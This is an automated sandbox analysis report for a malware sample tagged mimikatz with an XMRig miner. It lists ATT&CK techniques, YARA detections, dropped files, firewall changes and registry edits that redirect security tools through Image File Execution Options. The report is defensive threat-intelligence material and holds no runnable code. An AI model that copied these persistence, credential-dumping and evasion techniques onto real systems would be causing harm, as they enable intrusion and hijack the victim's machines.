mimikatz | 82f406298beea297fa376d8febd499a4de554a17c4b0213d0228dbb5df91aa77

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
14-10-2024 08:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
Size

8.7MB
MD5

e25ad6789f99a4ebd5a0cdce3728bf9b
SHA1

bb921d552d84edb0d1d4bcbebc0b5ee61b8c4091
SHA256

82f406298beea297fa376d8febd499a4de554a17c4b0213d0228dbb5df91aa77
SHA512

53839d6d636903f201b6d3b6fd1a318c3aecf35210759437ff8f43d21b569e5cfd83a920312f7131e0a0506ec8daf86cc713622023a6e303ea87fb3d1751e0ea
SSDEEP

196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

fbyqtdq.exe

description	pid	Process	procid_target
PID 808 created 1872	808	fbyqtdq.exe	37

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (20688) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2344-182-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-186-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-203-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-216-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-225-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-232-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-244-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-251-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-257-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig
behavioral2/memory/2344-274-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3988-0-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/3988-4-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/files/0x000b000000023baa-6.dat	mimikatz
behavioral2/memory/1976-8-0x0000000000400000-0x0000000000A9B000-memory.dmp	mimikatz
behavioral2/memory/5056-138-0x00007FF7B4280000-0x00007FF7B436E000-memory.dmp	mimikatz

Drops file in Drivers directory 2 IoCs

Processes:

fbyqtdq.exewpcap.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	fbyqtdq.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

Processes:

fbyqtdq.exe

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	fbyqtdq.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

Processes:

netsh.exenetsh.exe

pid	Process
1060	netsh.exe
1072	netsh.exe

Executes dropped EXE 26 IoCs

Processes:

fbyqtdq.exefbyqtdq.exewpcap.exeipdqsnhqb.exevfshost.exeysyinnueq.exexohudmc.exenspfoo.exehiukvr.exeysyinnueq.exefbyqtdq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exeysyinnueq.exehjrtlerqg.exefbyqtdq.exe

pid	Process
1976	fbyqtdq.exe
808	fbyqtdq.exe
2004	wpcap.exe
832	ipdqsnhqb.exe
5056	vfshost.exe
4900	ysyinnueq.exe
3132	xohudmc.exe
628	nspfoo.exe
2344	hiukvr.exe
3948	ysyinnueq.exe
5036	fbyqtdq.exe
2936	ysyinnueq.exe
4584	ysyinnueq.exe
1208	ysyinnueq.exe
4768	ysyinnueq.exe
1072	ysyinnueq.exe
4148	ysyinnueq.exe
4160	ysyinnueq.exe
4244	ysyinnueq.exe
4620	ysyinnueq.exe
2568	ysyinnueq.exe
2696	ysyinnueq.exe
2524	ysyinnueq.exe
1500	ysyinnueq.exe
3988	hjrtlerqg.exe
1080	fbyqtdq.exe

Loads dropped DLL 12 IoCs

Processes:

wpcap.exeipdqsnhqb.exe

pid	Process
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
2004	wpcap.exe
832	ipdqsnhqb.exe
832	ipdqsnhqb.exe
832	ipdqsnhqb.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
69	ifconfig.me
70	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 18 IoCs

Processes:

wpcap.exexohudmc.exefbyqtdq.exe

description	ioc	Process
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\nspfoo.exe	xohudmc.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\BB4F4B8E2B2CFC476849B6B724C153FF	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BB4F4B8E2B2CFC476849B6B724C153FF	fbyqtdq.exe
File created	C:\Windows\SysWOW64\nspfoo.exe	xohudmc.exe
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content	fbyqtdq.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	fbyqtdq.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	fbyqtdq.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe

UPX packed file 32 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x0007000000023c91-134.dat	upx
behavioral2/memory/5056-135-0x00007FF7B4280000-0x00007FF7B436E000-memory.dmp	upx
behavioral2/memory/5056-138-0x00007FF7B4280000-0x00007FF7B436E000-memory.dmp	upx
behavioral2/files/0x0007000000023c9c-141.dat	upx
behavioral2/memory/4900-144-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/4900-160-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/files/0x0007000000023c99-163.dat	upx
behavioral2/memory/2344-165-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/3948-171-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2936-179-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2344-182-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/4584-184-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2344-186-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/1208-189-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/4768-193-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/1072-197-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/4148-201-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2344-203-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/4160-206-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/4244-210-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/4620-214-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2344-216-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/2568-219-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2696-223-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2344-225-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/2524-228-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/1500-231-0x00007FF760B50000-0x00007FF760BAB000-memory.dmp	upx
behavioral2/memory/2344-232-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/2344-244-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/2344-251-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/2344-257-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx
behavioral2/memory/2344-274-0x00007FF6A7F60000-0x00007FF6A8080000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

Processes:

wpcap.exe

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

Processes:

2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exefbyqtdq.exehjrtlerqg.execmd.exe

description	ioc	Process
File created	C:\Windows\tpizqeql\fbyqtdq.exe	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\wpcap.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\cnli-1.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\schoedcl.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\vimpcsvc.xml	fbyqtdq.exe
File created	C:\Windows\tpizqeql\svschost.xml	fbyqtdq.exe
File created	C:\Windows\tpizqeql\docmicfg.xml	fbyqtdq.exe
File opened for modification	C:\Windows\tpizqeql\svschost.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\AppCapture32.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\Corporate\mimidrv.sys	fbyqtdq.exe
File opened for modification	C:\Windows\tpizqeql\fbyqtdq.exe	2024-10-14_e25ad6789f99a4ebd5a0cdce3728bf9b_hacktools_icedid_mimikatz.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\svschost.exe	fbyqtdq.exe
File opened for modification	C:\Windows\iefblqiiz\bsvlqulnj\Result.txt	hjrtlerqg.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\wpcap.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\coli-0.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\crli-0.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\vimpcsvc.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\scan.bat	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\docmicfg.xml	fbyqtdq.exe
File created	C:\Windows\tpizqeql\spoolsrv.xml	fbyqtdq.exe
File created	C:\Windows\ime\fbyqtdq.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\hjrtlerqg.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\spoolsrv.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\Corporate\mimilib.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\ssleay32.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\trfo-2.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\spoolsrv.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\upbdrjv\swrpwe.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\Packet.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\exma-1.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\trch-1.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\zlib1.dll	fbyqtdq.exe
File opened for modification	C:\Windows\tpizqeql\docmicfg.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\AppCapture64.dll	fbyqtdq.exe
File created	C:\Windows\tpizqeql\vimpcsvc.xml	fbyqtdq.exe
File opened for modification	C:\Windows\tpizqeql\spoolsrv.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\ip.txt	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\posh-0.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\tucl-1.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\docmicfg.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\libxml2.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\ucl.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\svschost.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\schoedcl.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\tibe-2.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\xdvl-0.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\vimpcsvc.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\docmicfg.xml	fbyqtdq.exe
File created	C:\Windows\tpizqeql\schoedcl.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\Corporate\vfshost.exe	fbyqtdq.exe
File opened for modification	C:\Windows\iefblqiiz\Corporate\log.txt	cmd.exe
File created	C:\Windows\iefblqiiz\bsvlqulnj\ipdqsnhqb.exe	fbyqtdq.exe
File opened for modification	C:\Windows\iefblqiiz\bsvlqulnj\Packet.dll	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\schoedcl.exe	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\spoolsrv.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\Shellcode.ini	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\libeay32.dll	fbyqtdq.exe
File opened for modification	C:\Windows\tpizqeql\vimpcsvc.xml	fbyqtdq.exe
File opened for modification	C:\Windows\tpizqeql\schoedcl.xml	fbyqtdq.exe
File created	C:\Windows\iefblqiiz\UnattendGC\specials\svschost.xml	fbyqtdq.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exe

pid	Process
3976	sc.exe
4508	sc.exe
4244	sc.exe
5096	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exenetsh.exe

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
